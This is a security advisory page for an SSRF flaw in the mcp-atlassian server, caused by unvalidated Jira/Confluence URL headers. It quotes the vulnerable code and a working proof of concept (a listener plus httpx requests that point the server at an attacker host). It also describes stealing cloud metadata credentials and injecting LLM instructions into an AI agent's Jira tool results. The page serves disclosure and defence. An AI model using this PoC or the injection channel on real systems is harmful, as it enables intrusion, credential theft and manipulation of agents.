GHSA-7r34-79r5-rcc9
HIGHMCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
mcp-atlassianReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.
Details
The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp_atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get_current_user_account_id()) immediately issues a GET request to {header_url}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.
No comparison is made against the server-configured JIRA_URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.
Trigger conditions — all four must hold:
- Server running with
--transport streamable-httpor--transport sse - Request contains
X-Atlassian-Jira-Urlheader (any non-empty value) - Request contains
X-Atlassian-Jira-Personal-Tokenheader (any non-empty value) - Request has no
Authorizationheader
An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url +
X-Atlassian-Confluence-Personal-Token.
Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448):
# When service headers are present and no Authorization header is provided,
# auth type is set to "pat" but user_atlassian_token is NOT set.
# This is what routes execution to the vulnerable path below.
if service_headers and (jira_token_str and jira_url_str):
scope["state"]["user_atlassian_auth_type"] = "pat"
Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217):
if (
user_auth_type == "pat"
and jira_url_header # attacker-controlled, no validation
and jira_token_header
and not hasattr(request.state, "user_atlassian_token")
):
header_config = JiraConfig(
url=jira_url_header, # used directly, no allowlist check
personal_token=jira_token_header,
...
)
header_jira_fetcher = JiraFetcher(config=header_config)
header_jira_fetcher.get_current_user_account_id()
# ^ GET {jira_url_header}/rest/api/2/myself — outbound SSRF call
request.state.jira_fetcher = header_jira_fetcher # cached for all tool calls this request
### PoC
Step 1 - Start a listener to capture the inbound SSRF request:
# listener.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, sys
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr)
print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if "myself" in self.path:
self.wfile.write(json.dumps({
"accountId": "ssrf-confirmed",
"displayName": "SSRF PoC"
}).encode())
else:
self.wfile.write(b"{}")
def log_message(self, *args): pass
HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):
JIRA_URL=https://placeholder.atlassian.net \
JIRA_API_TOKEN=placeholder \
mcp-atlassian --transport streamable-http --port 8000
Step 3 — Trigger the SSRF:
import httpx, json
MCP = "http://localhost:8000/mcp"
ATTACK = "http://<listener-ip>:8888"
# Initialize MCP session
r = httpx.post(MCP, json={
"jsonrpc": "2.0", "method": "initialize",
"params": {"protocolVersion": "2024-11-05", "capabilities": {},
"clientInfo": {"name": "poc", "version": "1.0"}},
"id": 1
}, headers={
"X-Atlassian-Jira-Url": ATTACK,
"X-Atlassian-Jira-Personal-Token": "any-value",
# No Authorization header — this is the key condition
})
sid = r.headers.get("mcp-session-id")
# Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call
httpx.post(MCP, json={
"jsonrpc": "2.0", "method": "tools/call",
"params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}},
"id": 2
}, headers={
"X-Atlassian-Jira-Url": ATTACK,
"X-Atlassian-Jira-Personal-Token": "any-value",
"Mcp-Session-Id": sid,
})
The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.
### Impact
This vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.
- Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)
not directly reachable from outside the network.
- AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
- Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mcp-atlassian | all versions | 0.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp-atlassian. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mcp-atlassian to 0.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7r34-79r5-rcc9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7r34-79r5-rcc9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7r34-79r5-rcc9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7r34-79r5-rcc9 in your dependencies?
O3 detects GHSA-7r34-79r5-rcc9 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.